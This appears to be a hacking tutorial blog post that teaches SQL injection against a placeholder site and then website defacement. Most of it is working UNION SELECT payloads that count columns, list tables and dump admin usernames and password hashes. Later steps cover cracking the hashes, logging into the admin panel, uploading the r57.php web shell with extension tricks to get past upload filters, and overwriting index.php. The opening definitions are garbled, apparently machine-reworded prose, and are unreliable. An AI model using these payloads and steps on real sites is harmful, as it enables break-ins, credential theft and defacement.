What is SQL?
SQL injection is a code injection strategy that adventures a security defenselessness happening in the database layer of an application. The weakness is available when client data is either mistakenly sifted for string exacting getaway characters installed in SQL articulations or client info is not specifically and accordingly startlingly executed. It is an occurrence of a more general class of vulnerabilities that can happen at whatever point one programming or scripting dialect is inserted inside an alternate. SQL infusion assaults are otherwise called SQL insertion assaults.
2. What is Defacement ?
A website defacement is an assault on a site that progressions the visual appearance of the site. These are ordinarily the work of framework saltines, who break into a web server and supplant the facilitated site with one they could call their own.
What do you require before you begin with SQL Injection.
SQL Injection Vulnerable Scanner
Dorks for Finding Vulnerable sites!: Common Dorks
MD5 Hash Crackers Online:
Text to ASCII Converter:
Some vulnerable websites
1. First you need to find vulnerable website.
2. Now you need to find columns.
http://sql-vuln-site.com/index.php?id=15 order by 1– ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2– ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3– ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4– ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5– ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6– ( error )
Error`s looks like this:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’39′ at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=’39
3. Now Select columns
Columns is 5
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5–
4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5–
you got the version like this:
5. Finding Tables
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables–
And you will got tables like this:
PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.
6. Finding Columns in the Table ADMINS.
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()–
We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
You put table_name=char(65,68,77,73,78,83)–
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)–
And you will got the columns in table ADMINS
There need to have columns with names: username and password
7. Getting username and password.
Now we put concat(username,0x3a,password) and admins
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins–
( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.
9. Finding Admin Panel
Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php
You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.
10. Uploading Shell and Add Deface
In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:
If can’t upload r57.php change it to r57.jpg.php or r57.txt and try!
You need to make a deface page in html and put in the website.
You will found a file index.php and click on it and there you will remove the php code from index and put your html code.
~~~~Congratulations you deface the website.